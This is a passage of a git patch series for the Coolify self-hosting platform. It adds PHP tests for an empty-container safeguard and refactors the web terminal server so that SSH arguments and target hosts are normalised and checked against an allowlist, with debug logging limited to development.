100644 index 000000000..d4271d3ee --- /dev/null +++ b/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php @@ -0,0 +1,54 @@ +toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);'); + + // Count occurrences of the safeguard pattern in the not-found sections + $safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed'; + $safeguardCount = substr_count($actionFile, $safeguardPattern); + + // Should appear at least 4 times: applications, previews, databases, services + expect($safeguardCount)->toBeGreaterThanOrEqual(4); +}); + +it('has empty container safeguard for databases', function () { + $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); + + // Extract the database not-found section + $databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);'); + expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist'); + + // Get the code between database section start and the next major section + $databaseSection = substr($actionFile, $databaseSectionStart, 500); + + // The empty container safeguard must exist in the database section + expect($databaseSection)->toContain('$this->containers->isEmpty()'); +}); + +it('has empty container safeguard for services', function () { + $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); + + // Extract the service exited section + $serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');'); + expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist'); + + // Get the code in the service exited loop + $serviceSection = substr($actionFile, $serviceSectionStart, 500); + + // The empty container safeguard must exist in the service section + expect($serviceSection)->toContain('$this->containers->isEmpty()'); +}); From 5c5f67f48b893c9ee0b7142f94b734da585e97e0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 20:37:22 +0100 Subject: [PATCH 161/305] chore: prepare for PR --- docker-compose-maxio.dev.yml | 1 + docker-compose.dev.yml | 1 + docker/coolify-realtime/Dockerfile | 1 + docker/coolify-realtime/terminal-server.js | 277 +++++++++++------- docker/coolify-realtime/terminal-utils.js | 127 ++++++++ .../coolify-realtime/terminal-utils.test.js | 47 +++ resources/js/terminal.js | 87 ++++-- .../execute-container-command.blade.php | 3 +- routes/web.php | 18 +- .../Feature/RealtimeTerminalPackagingTest.php | 34 +++ tests/Feature/TerminalAuthIpsRouteTest.php | 51 ++++ 11 files changed, 513 insertions(+), 134 deletions(-) create mode 100644 docker/coolify-realtime/terminal-utils.js create mode 100644 docker/coolify-realtime/terminal-utils.test.js create mode 100644 tests/Feature/RealtimeTerminalPackagingTest.php create mode 100644 tests/Feature/TerminalAuthIpsRouteTest.php diff --git a/docker-compose-maxio.dev.yml b/docker-compose-maxio.dev.yml index 2c8c94466..bbb483d7a 100644 --- a/docker-compose-maxio.dev.yml +++ b/docker-compose-maxio.dev.yml @@ -73,6 +73,7 @@ services: volumes: - ./storage:/var/www/html/storage - ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js + - ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js environment: SOKETI_DEBUG: "false" SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}" diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index 808b50ff8..3af443c83 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -73,6 +73,7 @@ services: volumes: - ./storage:/var/www/html/storage - ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js + - ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js environment: SOKETI_DEBUG: "false" SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}" diff --git a/docker/coolify-realtime/Dockerfile b/docker/coolify-realtime/Dockerfile index 18c2f9301..99157268b 100644 --- a/docker/coolify-realtime/Dockerfile +++ b/docker/coolify-realtime/Dockerfile @@ -16,6 +16,7 @@ RUN npm i RUN npm rebuild node-pty --update-binary COPY docker/coolify-realtime/soketi-entrypoint.sh /soketi-entrypoint.sh COPY docker/coolify-realtime/terminal-server.js /terminal/terminal-server.js +COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js # Install Cloudflared based on architecture RUN if [ "${TARGETPLATFORM}" = "linux/amd64" ]; then \ diff --git a/docker/coolify-realtime/terminal-server.js b/docker/coolify-realtime/terminal-server.js index 2607d2aec..3ae77857f 100755 --- a/docker/coolify-realtime/terminal-server.js +++ b/docker/coolify-realtime/terminal-server.js @@ -4,8 +4,33 @@ import pty from 'node-pty'; import axios from 'axios'; import cookie from 'cookie'; import 'dotenv/config'; +import { + extractHereDocContent, + extractSshArgs, + extractTargetHost, + extractTimeout, + isAuthorizedTargetHost, +} from './terminal-utils.js'; const userSessions = new Map(); +const terminalDebugEnabled = ['local', 'development'].includes( + String(process.env.APP_ENV || process.env.NODE_ENV || '').toLowerCase() +); + +function logTerminal(level, message, context = {}) { + if (!terminalDebugEnabled) { + return; + } + + const formattedMessage = `[TerminalServer] ${message}`; + + if (Object.keys(context).length > 0) { + console[level](formattedMessage, context); + return; + } + + console[level](formattedMessage); +} const server = http.createServer((req, res) => { if (req.url === '/ready') { @@ -31,9 +56,19 @@ const getSessionCookie = (req) => { const verifyClient = async (info, callback) => { const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(info.req); + const requestContext = { + remoteAddress: info.req.socket?.remoteAddress, + origin: info.origin, + sessionCookieName, + hasXsrfToken: Boolean(xsrfToken), + hasLaravelSession: Boolean(laravelSession), + }; + + logTerminal('log', 'Verifying websocket client.', requestContext); // Verify presence of required tokens if (!laravelSession || !xsrfToken) { + logTerminal('warn', 'Rejecting websocket client because required auth tokens are missing.', requestContext); return callback(false, 401, 'Unauthorized: Missing required tokens'); } @@ -47,13 +82,22 @@ const verifyClient = async (info, callback) => { }); if (response.status === 200) { - // Authentication successful + logTerminal('log', 'Websocket client authentication succeeded.', requestContext); callback(true); } else { + logTerminal('warn', 'Websocket client authentication returned a non-success status.', { + ...requestContext, + status: response.status, + }); callback(false, 401, 'Unauthorized: Invalid credentials'); } } catch (error) { - console.error('Authentication error:', error.message); + logTerminal('error', 'Websocket client authentication failed.', { + ...requestContext, + error: error.message, + responseStatus: error.response?.status, + responseData: error.response?.data, + }); callback(false, 500, 'Internal Server Error'); } }; @@ -65,28 +109,62 @@ wss.on('connection', async (ws, req) => { const userId = generateUserId(); const userSession = { ws, userId, ptyProcess: null, isActive: false, authorizedIPs: [] }; const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req); + const connectionContext = { + userId, + remoteAddress: req.socket?.remoteAddress, + sessionCookieName, + hasXsrfToken: Boolean(xsrfToken), + hasLaravelSession: Boolean(laravelSession), + }; // Verify presence of required tokens if (!laravelSession || !xsrfToken) { + logTerminal('warn', 'Closing websocket connection because required auth tokens are missing.', connectionContext); ws.close(401, 'Unauthorized: Missing required tokens'); return; } - const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, { - headers: { - 'Cookie': `${sessionCookieName}=${laravelSession}`, - 'X-XSRF-TOKEN': xsrfToken - }, - }); - userSession.authorizedIPs = response.data.ipAddresses || []; + + try { + const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, { + headers: { + 'Cookie': `${sessionCookieName}=${laravelSession}`, + 'X-XSRF-TOKEN': xsrfToken + }, + }); + userSession.authorizedIPs = response.data.ipAddresses || []; + logTerminal('log', 'Fetched authorized terminal hosts for websocket session.', { + ...connectionContext, + authorizedIPs: userSession.authorizedIPs, + }); + } catch (error) { + logTerminal('error', 'Failed to fetch authorized terminal hosts.', { + ...connectionContext, + error: error.message, + responseStatus: error.response?.status, + responseData: error.response?.data, + }); + ws.close(1011, 'Failed to fetch terminal authorization data'); + return; + } + userSessions.set(userId, userSession); + logTerminal('log', 'Terminal websocket connection established.', { + ...connectionContext, + authorizedHostCount: userSession.authorizedIPs.length, + }); ws.on('message', (message) => { handleMessage(userSession, message); - }); ws.on('error', (err) => handleError(err, userId)); - ws.on('close', () => handleClose(userId)); - + ws.on('close', (code, reason) => { + logTerminal('log', 'Terminal websocket connection closed.', { + userId, + code, + reason: reason?.toString(), + }); + handleClose(userId); + }); }); const messageHandlers = { @@ -98,6 +176,7 @@ const messageHandlers = { }, pause: (session) => session.ptyProcess.pause(), resume: (session) => session.ptyProcess.resume(), + ping: (session) => session.ws.send('pong'), checkActive: (session, data) => { if (data === 'force' && session.isActive) { killPtyProcess(session.userId); @@ -110,12 +189,34 @@ const messageHandlers = { function handleMessage(userSession, message) { const parsed = parseMessage(message); - if (!parsed) return; + if (!parsed) { + logTerminal('warn', 'Ignoring websocket message because JSON parsing failed.', { + userId: userSession.userId, + rawMessage: String(message).slice(0, 500), + }); + return; + } + + logTerminal('log', 'Received websocket message.', { + userId: userSession.userId, + keys: Object.keys(parsed), + isActive: userSession.isActive, + }); Object.entries(parsed).forEach(([key, value]) => { const handler = messageHandlers[key]; - if (handler && (userSession.isActive || key === 'checkActive' || key === 'command')) { + if (handler && (userSession.isActive || key === 'checkActive' || key === 'command' || key === 'ping')) { handler(userSession, value); + } else if (!handler) { + logTerminal('warn', 'Ignoring websocket message with unknown handler key.', { + userId: userSession.userId, + key, + }); + } else { + logTerminal('warn', 'Ignoring websocket message because no PTY session is active yet.', { + userId: userSession.userId, + key, + }); } }); } @@ -124,7 +225,9 @@ function parseMessage(message) { try { return JSON.parse(message); } catch (e) { - console.error('Failed to parse message:', e); + logTerminal('error', 'Failed to parse websocket message.', { + error: e?.message ?? e, + }); return null; } } @@ -134,6 +237,9 @@ async function handleCommand(ws, command, userId) { if (userSession && userSession.isActive) { const result = await killPtyProcess(userId); if (!result) { + logTerminal('warn', 'Rejecting new terminal command because the previous PTY could not be terminated.', { + userId, + }); // if terminal is still active, even after we tried to kill it, dont continue and show error ws.send('unprocessable'); return; @@ -147,13 +253,30 @@ async function handleCommand(ws, command, userId) { // Extract target host from SSH command const targetHost = extractTargetHost(sshArgs); + logTerminal('log', 'Parsed terminal command metadata.', { + userId, + targetHost, + timeout, + sshArgs, + authorizedIPs: userSession?.authorizedIPs ?? [], + }); + if (!targetHost) { + logTerminal('warn', 'Rejecting terminal command because no target host could be extracted.', { + userId, + sshArgs, + }); ws.send('Invalid SSH command: No target host found'); return; } // Validate target host against authorized IPs - if (!userSession.authorizedIPs.includes(targetHost)) { + if (!isAuthorizedTargetHost(targetHost, userSession.authorizedIPs)) { + logTerminal('warn', 'Rejecting terminal command because target host is not authorized.', { + userId, + targetHost, + authorizedIPs: userSession.authorizedIPs, + }); ws.send(`Unauthorized: Target host ${targetHost} not in authorized list`); return; } @@ -169,6 +292,11 @@ async function handleCommand(ws, command, userId) { // NOTE: - Initiates a process within the Terminal container // Establishes an SSH connection to root@coolify with RequestTTY enabled // Executes the 'docker exec' command to connect to a specific container + logTerminal('log', 'Spawning PTY process for terminal session.', { + userId, + targetHost, + timeout, + }); const ptyProcess = pty.spawn('ssh', sshArgs.concat([hereDocContent]), options); userSession.ptyProcess = ptyProcess; @@ -182,7 +310,11 @@ async function handleCommand(ws, command, userId) { // when parent closes ptyProcess.onExit(({ exitCode, signal }) => { - console.error(`Process exited with code ${exitCode} and signal ${signal}`); + logTerminal(exitCode === 0 ? 'log' : 'error', 'PTY process exited.', { + userId, + exitCode, + signal, + }); ws.send('pty-exited'); userSession.isActive = false; }); @@ -194,28 +326,18 @@ async function handleCommand(ws, command, userId) { } } -function extractTargetHost(sshArgs) { - // Find the argument that matches the pattern user@host - const userAtHost = sshArgs.find(arg => { - // Skip paths that contain 'storage/app/ssh/keys/' - if (arg.includes('storage/app/ssh/keys/')) { - return false; - } - return /^[^@]+@[^@]+$/.test(arg); - }); - if (!userAtHost) return null; - - // Extract host from user@host - const host = userAtHost.split('@')[1]; - return host; -} - async function handleError(err, userId) { - console.error('WebSocket error:', err); + logTerminal('error', 'WebSocket error.', { + userId, + error: err?.message ?? err, + }); await killPtyProcess(userId); } async function handleClose(userId) { + logTerminal('log', 'Cleaning up terminal websocket session.', { + userId, + }); await killPtyProcess(userId); userSessions.delete(userId); } @@ -231,6 +353,11 @@ async function killPtyProcess(userId) { const attemptKill = () => { killAttempts++; + logTerminal('log', 'Attempting to terminate PTY process.', { + userId, + killAttempts, + maxAttempts, + }); // session.ptyProcess.kill() wont work here because of https://github.com/moby/moby/issues/9098 // patch with https://github.com/moby/moby/issues/9098#issuecomment-189743947 @@ -238,6 +365,10 @@ async function killPtyProcess(userId) { setTimeout(() => { if (!session.isActive || !session.ptyProcess) { + logTerminal('log', 'PTY process terminated successfully.', { + userId, + killAttempts, + }); resolve(true); return; } @@ -245,6 +376,10 @@ async function killPtyProcess(userId) { if (killAttempts < maxAttempts) { attemptKill(); } else { + logTerminal('warn', 'PTY process still active after maximum termination attempts.', { + userId, + killAttempts, + }); resolve(false); } }, 500); @@ -258,76 +393,8 @@ function generateUserId() { return Math.random().toString(36).substring(2, 11); } -function extractTimeout(commandString) { - const timeoutMatch = commandString.match(/timeout (\d+)/); - return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null; -} - -function extractSshArgs(commandString) { - const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/); - if (!sshCommandMatch) return []; - - const argsString = sshCommandMatch[1]; - let sshArgs = []; - - // Parse shell arguments respecting quotes - let current = ''; - let inQuotes = false; - let quoteChar = ''; - let i = 0; - - while (i < argsString.length) { - const char = argsString[i]; - const nextChar = argsString[i + 1]; - - if (!inQuotes && (char === '"' || char === "'")) { - // Starting a quoted section - inQuotes = true; - quoteChar = char; - current += char; - } else if (inQuotes && char === quoteChar) { - // Ending a quoted section - inQuotes = false; - current += char; - quoteChar = ''; - } else if (!inQuotes && char === ' ') { - // Space outside quotes - end of argument - if (current.trim()) { - sshArgs.push(current.trim()); - current = ''; - } - } else { - // Regular character - current += char; - } - i++; - } - - // Add final argument if exists - if (current.trim()) { - sshArgs.push(current.trim()); - } - - // Replace RequestTTY=no with RequestTTY=yes - sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg); - - // Add RequestTTY=yes if not present - if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) { - sshArgs.push('-o', 'RequestTTY=yes'); - } - - return sshArgs; -} - -function extractHereDocContent(commandString) { - const delimiterMatch = commandString.match(/<< (\S+)/); - const delimiter = delimiterMatch ? delimiterMatch[1] : null; - const escapedDelimiter = delimiter.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&'); - const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`); - const hereDocMatch = commandString.match(hereDocRegex); - return hereDocMatch ? hereDocMatch[1] : ''; -} - server.listen(6002, () => { - console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!'); + logTerminal('log', 'Terminal debug logging is enabled.', { + terminalDebugEnabled, + }); }); diff --git a/docker/coolify-realtime/terminal-utils.js b/docker/coolify-realtime/terminal-utils.js new file mode 100644 index 000000000..7456b282c --- /dev/null +++ b/docker/coolify-realtime/terminal-utils.js @@ -0,0 +1,127 @@ +export function extractTimeout(commandString) { + const timeoutMatch = commandString.match(/timeout (\d+)/); + return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null; +} + +function normalizeShellArgument(argument) { + if (!argument) { + return argument; + } + + return argument + .replace(/'([^']*)'/g, '$1') + .replace(/"([^"]*)"/g, '$1'); +} + +export function extractSshArgs(commandString) { + const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/); + if (!sshCommandMatch) return []; + + const argsString = sshCommandMatch[1]; + let sshArgs = []; + + let current = ''; + let inQuotes = false; + let quoteChar = ''; + let i = 0; + + while (i < argsString.length) { + const char = argsString[i]; + + if (!inQuotes && (char === '"' || char === "'")) { + inQuotes = true; + quoteChar = char; + current += char; + } else if (inQuotes && char === quoteChar) { + inQuotes = false; + current += char; + quoteChar = ''; + } else if (!inQuotes && char === ' ') { + if (current.trim()) { + sshArgs.push(current.trim()); + current = ''; + } + } else { + current += char; + } + i++; + } + + if (current.trim()) { + sshArgs.push(current.trim()); + } + + sshArgs = sshArgs.map((arg) => normalizeShellArgument(arg)); + sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg); + + if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) { + sshArgs.push('-o', 'RequestTTY=yes'); + } + + return sshArgs; +} + +export function extractHereDocContent(commandString) { + const delimiterMatch = commandString.match(/<< (\S+)/); + const delimiter = delimiterMatch ? delimiterMatch[1] : null; + const escapedDelimiter = delimiter?.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&'); + + if (!escapedDelimiter) { + return ''; + } + + const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`); + const hereDocMatch = commandString.match(hereDocRegex); + return hereDocMatch ? hereDocMatch[1] : ''; +} + +export function normalizeHostForAuthorization(host) { + if (!host) { + return null; + } + + let normalizedHost = host.trim(); + + while ( + normalizedHost.length >= 2 && + ((normalizedHost.startsWith("'") && normalizedHost.endsWith("'")) || + (normalizedHost.startsWith('"') && normalizedHost.endsWith('"'))) + ) { + normalizedHost = normalizedHost.slice(1, -1).trim(); + } + + if (normalizedHost.startsWith('[') && normalizedHost.endsWith(']')) { + normalizedHost = normalizedHost.slice(1, -1); + } + + return normalizedHost.toLowerCase(); +} + +export function extractTargetHost(sshArgs) { + const userAtHost = sshArgs.find(arg => { + if (arg.includes('storage/app/ssh/keys/')) { + return false; + } + + return /^[^@]+@[^@]+$/.test(arg); + }); + + if (!userAtHost) { + return null; + } + + const atIndex = userAtHost.indexOf('@'); + return normalizeHostForAuthorization(userAtHost.slice(atIndex + 1)); +} + +export function isAuthorizedTargetHost(targetHost, authorizedHosts = []) { + const normalizedTargetHost = normalizeHostForAuthorization(targetHost); + + if (!normalizedTargetHost) { + return false; + } + + return authorizedHosts + .map(host => normalizeHostForAuthorization(host)) + .includes(normalizedTargetHost); +} diff --git a/docker/coolify-realtime/terminal-utils.test.js b/docker/coolify-realtime/terminal-utils.test.js new file mode 100644 index 000000000..3da444155 --- /dev/null +++ b/docker/coolify-realtime/terminal-utils.test.js @@ -0,0 +1,47 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { + extractSshArgs, + extractTargetHost, + isAuthorizedTargetHost, + normalizeHostForAuthorization, +} from './terminal-utils.js'; + +test('extractTargetHost normalizes quoted IPv4 hosts from generated ssh commands', () => { + const sshArgs = extractSshArgs( + "timeout 3600 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o ServerAliveInterval=20 -o ConnectTimeout=10 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc" + ); + + assert.equal(extractTargetHost(sshArgs), '10.0.0.5'); +}); + +test('extractSshArgs strips shell quotes from port and user host arguments before spawning ssh', () => { + const sshArgs = extractSshArgs( + "timeout 3600 ssh -p '22' -o StrictHostKeyChecking=no 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc" + ); + + assert.deepEqual(sshArgs.slice(0, 5), ['-p', '22', '-o', 'StrictHostKeyChecking=no', 'root@10.0.0.5']); +}); + +test('extractSshArgs preserves proxy command as a single normalized ssh option value', () => { + const sshArgs = extractSshArgs( + "timeout 3600 ssh -o ProxyCommand='cloudflared access ssh --hostname %h' -o StrictHostKeyChecking=no 'root'@'example.com' 'bash -se' << \\\\$abc\necho hi\nabc" + ); + + assert.equal(sshArgs[1], 'ProxyCommand=cloudflared access ssh --hostname %h'); + assert.equal(sshArgs[4], 'root@example.com'); +}); + +test('isAuthorizedTargetHost matches normalized hosts against plain allowlist values', () => { + assert.equal(isAuthorizedTargetHost("'10.0.0.5'", ['10.0.0.5']), true); + assert.equal(isAuthorizedTargetHost('"host.docker.internal"', ['host.docker.internal']), true); +}); + +test('normalizeHostForAuthorization unwraps bracketed IPv6 hosts', () => { + assert.equal(normalizeHostForAuthorization("'[2001:db8::10]'"), '2001:db8::10'); + assert.equal(isAuthorizedTargetHost("'[2001:db8::10]'", ['2001:db8::10']), true); +}); + +test('isAuthorizedTargetHost rejects hosts that are not in the allowlist', () => { + assert.equal(isAuthorizedTargetHost("'10.0.0.9'", ['10.0.0.5']), false); +}); diff --git a/resources/js/terminal.js b/resources/js/terminal.js index 6707bec98..3c52edfa0 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -2,6 +2,16 @@ import { Terminal } from '@xterm/xterm'; import '@xterm/xterm/css/xterm.css'; import { FitAddon } from '@xterm/addon-fit'; +const terminalDebugEnabled = import.meta.env.DEV; + +function logTerminal(level, message, ...context) { + if (!terminalDebugEnabled) { + return; + } + + console[level](message, ...context); +} + export function initializeTerminalComponent() { function terminalData() { return { @@ -30,6 +40,8 @@ export function initializeTerminalComponent() { pingTimeoutId: null, heartbeatMissed: 0, maxHeartbeatMisses: 3, + // Command buffering for race condition prevention + pendingCommand: null, // Resize handling resizeObserver: null, resizeTimeout: null, @@ -120,6 +132,7 @@ export function initializeTerminalComponent() { this.checkIfProcessIsRunningAndKillIt(); this.clearAllTimers(); this.connectionState = 'disconnected'; + this.pendingCommand = null; if (this.socket) { this.socket.close(1000, 'Client cleanup'); } @@ -154,6 +167,7 @@ export function initializeTerminalComponent() { this.pendingWrites = 0; this.paused = false; this.commandBuffer = ''; + this.pendingCommand = null; // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); @@ -188,7 +202,7 @@ export function initializeTerminalComponent() { initializeWebSocket() { if (this.socket && this.socket.readyState !== WebSocket.CLOSED) { - console.log('[Terminal] WebSocket already connecting/connected, skipping'); + logTerminal('log', '[Terminal] WebSocket already connecting/connected, skipping'); return; // Already connecting or connected } @@ -197,7 +211,7 @@ export function initializeTerminalComponent() { // Ensure terminal config is available if (!window.terminalConfig) { - console.warn('[Terminal] Terminal config not available, using defaults'); + logTerminal('warn', '[Terminal] Terminal config not available, using defaults'); window.terminalConfig = {}; } @@ -223,7 +237,7 @@ export function initializeTerminalComponent() { } const url = `${connectionString.protocol}://${connectionString.host}${connectionString.port}${connectionString.path}` - console.log(`[Terminal] Attempting connection to: ${url}`); + logTerminal('log', `[Terminal] Attempting connection to: ${url}`); try { this.socket = new WebSocket(url); @@ -232,7 +246,7 @@ export function initializeTerminalComponent() { const timeoutMs = this.reconnectAttempts === 0 ? 15000 : this.connectionTimeout; this.connectionTimeoutId = setTimeout(() => { if (this.connectionState === 'connecting') { - console.error(`[Terminal] Connection timeout after ${timeoutMs}ms`); + logTerminal('error', `[Terminal] Connection timeout after ${timeoutMs}ms`); this.socket.close(); this.handleConnectionError('Connection timeout'); } @@ -244,13 +258,13 @@ export function initializeTerminalComponent() { this.socket.onclose = this.handleSocketClose.bind(this); } catch (error) { - console.error('[Terminal] Failed to create WebSocket:', error); + logTerminal('error', '[Terminal] Failed to create WebSocket:', error); this.handleConnectionError(`Failed to create WebSocket connection: ${error.message}`); } }, handleSocketOpen() { - console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.'); + logTerminal('log', '[Terminal] WebSocket connection established.'); this.connectionState = 'connected'; this.reconnectAttempts = 0; this.heartbeatMissed = 0; @@ -262,6 +276,12 @@ export function initializeTerminalComponent() { this.connectionTimeoutId = null; } + // Flush any buffered command from before WebSocket was ready + if (this.pendingCommand) { + this.sendMessage(this.pendingCommand); + this.pendingCommand = null; + } + // Start ping timeout monitoring this.resetPingTimeout(); @@ -270,16 +290,16 @@ export function initializeTerminalComponent() { }, handleSocketError(error) { - console.error('[Terminal] WebSocket error:', error); - console.error('[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket'); - console.error('[Terminal] Connection attempt:', this.reconnectAttempts + 1); + logTerminal('error', '[Terminal] WebSocket error:', error); + logTerminal('error', '[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket'); + logTerminal('error', '[Terminal] Connection attempt:', this.reconnectAttempts + 1); this.handleConnectionError('WebSocket error occurred'); }, handleSocketClose(event) { - console.warn(`[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`); - console.log('[Terminal] Was clean close:', event.code === 1000); - console.log('[Terminal] Connection attempt:', this.reconnectAttempts + 1); + logTerminal('warn', `[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`); + logTerminal('log', '[Terminal] Was clean close:', event.code === 1000); + logTerminal('log', '[Terminal] Connection attempt:', this.reconnectAttempts + 1); this.connectionState = 'disconnected'; this.clearAllTimers(); @@ -297,7 +317,7 @@ export function initializeTerminalComponent() { }, handleConnectionError(reason) { - console.error(`[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`); + logTerminal('error', `[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`); this.connectionState = 'disconnected'; // Only dispatch error to UI after a few failed attempts to avoid immediate error on page load @@ -310,7 +330,7 @@ export function initializeTerminalComponent() { scheduleReconnect() { if (this.reconnectAttempts >= this.maxReconnectAttempts) { - console.error('[Terminal] Max reconnection attempts reached'); + logTerminal('error', '[Terminal] Max reconnection attempts reached'); this.message = '(connection failed - max retries exceeded)'; return; } @@ -323,7 +343,7 @@ export function initializeTerminalComponent() { this.maxReconnectDelay ); - console.warn(`[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`); + logTerminal('warn', `[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`); this.reconnectInterval = setTimeout(() => { this.reconnectAttempts++; @@ -335,17 +355,21 @@ export function initializeTerminalComponent() { if (this.socket && this.socket.readyState === WebSocket.OPEN) { this.socket.send(JSON.stringify(message)); } else { - console.warn('[Terminal] WebSocket not ready, message not sent:', message); + logTerminal('warn', '[Terminal] WebSocket not ready, message not sent:', message); } }, sendCommandWhenReady(message) { if (this.isWebSocketReady()) { this.sendMessage(message); + } else { + this.pendingCommand = message; } }, handleSocketMessage(event) { + logTerminal('log', '[Terminal] Received WebSocket message:', event.data); + // Handle pong responses if (event.data === 'pong') { this.heartbeatMissed = 0; @@ -354,6 +378,10 @@ export function initializeTerminalComponent() { return; } + if (!this.term?._initialized && event.data !== 'pty-ready') { + logTerminal('warn', '[Terminal] Received message before PTY initialization:', event.data); + } + if (event.data === 'pty-ready') { if (!this.term._initialized) { this.term.open(document.getElementById('terminal')); @@ -398,17 +426,24 @@ export function initializeTerminalComponent() { // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); + } else if ( + typeof event.data === 'string' && + (event.data.startsWith('Unauthorized:') || event.data.startsWith('Invalid SSH command:')) + ) { + logTerminal('error', '[Terminal] Backend rejected terminal startup:', event.data); + this.$wire.dispatch('error', event.data); + this.terminalActive = false; } else { try { this.pendingWrites++; this.term.write(event.data, (err) => { if (err) { - console.error('[Terminal] Write error:', err); + logTerminal('error', '[Terminal] Write error:', err); } this.flowControlCallback(); }); } catch (error) { - console.error('[Terminal] Write operation failed:', error); + logTerminal('error', '[Terminal] Write operation failed:', error); this.pendingWrites = Math.max(0, this.pendingWrites - 1); } } @@ -483,10 +518,10 @@ export function initializeTerminalComponent() { clearTimeout(this.pingTimeoutId); this.pingTimeoutId = null; } - console.log('[Terminal] Tab hidden, pausing heartbeat monitoring'); + logTerminal('log', '[Terminal] Tab hidden, pausing heartbeat monitoring'); } else if (wasVisible === false) { // Tab is now visible again - console.log('[Terminal] Tab visible, resuming connection management'); + logTerminal('log', '[Terminal] Tab visible, resuming connection management'); if (this.wasConnectedBeforeHidden && this.socket && this.socket.readyState === WebSocket.OPEN) { // Send immediate ping to verify connection is still alive @@ -508,10 +543,10 @@ export function initializeTerminalComponent() { this.pingTimeoutId = setTimeout(() => { this.heartbeatMissed++; - console.warn(`[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`); + logTerminal('warn', `[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`); if (this.heartbeatMissed >= this.maxHeartbeatMisses) { - console.error('[Terminal] Too many missed heartbeats, closing connection'); + logTerminal('error', '[Terminal] Too many missed heartbeats, closing connection'); this.socket.close(1001, 'Heartbeat timeout'); } }, this.pingTimeout); @@ -553,7 +588,7 @@ export function initializeTerminalComponent() { // Check if dimensions are valid if (height <= 0 || width <= 0) { - console.warn('[Terminal] Invalid wrapper dimensions, retrying...', { height, width }); + logTerminal('warn', '[Terminal] Invalid wrapper dimensions, retrying...', { height, width }); setTimeout(() => this.resizeTerminal(), 100); return; } @@ -562,7 +597,7 @@ export function initializeTerminalComponent() { if (!charSize.height || !charSize.width) { // Fallback values if char size not available yet - console.warn('[Terminal] Character size not available, retrying...'); + logTerminal('warn', '[Terminal] Character size not available, retrying...'); setTimeout(() => this.resizeTerminal(), 100); return; } @@ -583,10 +618,10 @@ export function initializeTerminalComponent() { }); } } else { - console.warn('[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize }); + logTerminal('warn', '[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize }); } } catch (error) { - console.error('[Terminal] Resize error:', error); + logTerminal('error', '[Terminal] Resize error:', error); } }, diff --git a/resources/views/livewire/project/shared/execute-container-command.blade.php b/resources/views/livewire/project/shared/execute-container-command.blade.php index f980d6f3c..e7d3546fd 100644 --- a/resources/views/livewire/project/shared/execute-container-command.blade.php +++ b/resources/views/livewire/project/shared/execute-container-command.blade.php @@ -21,7 +21,8 @@
No containers are running or terminal access is disabled on this server.
@else
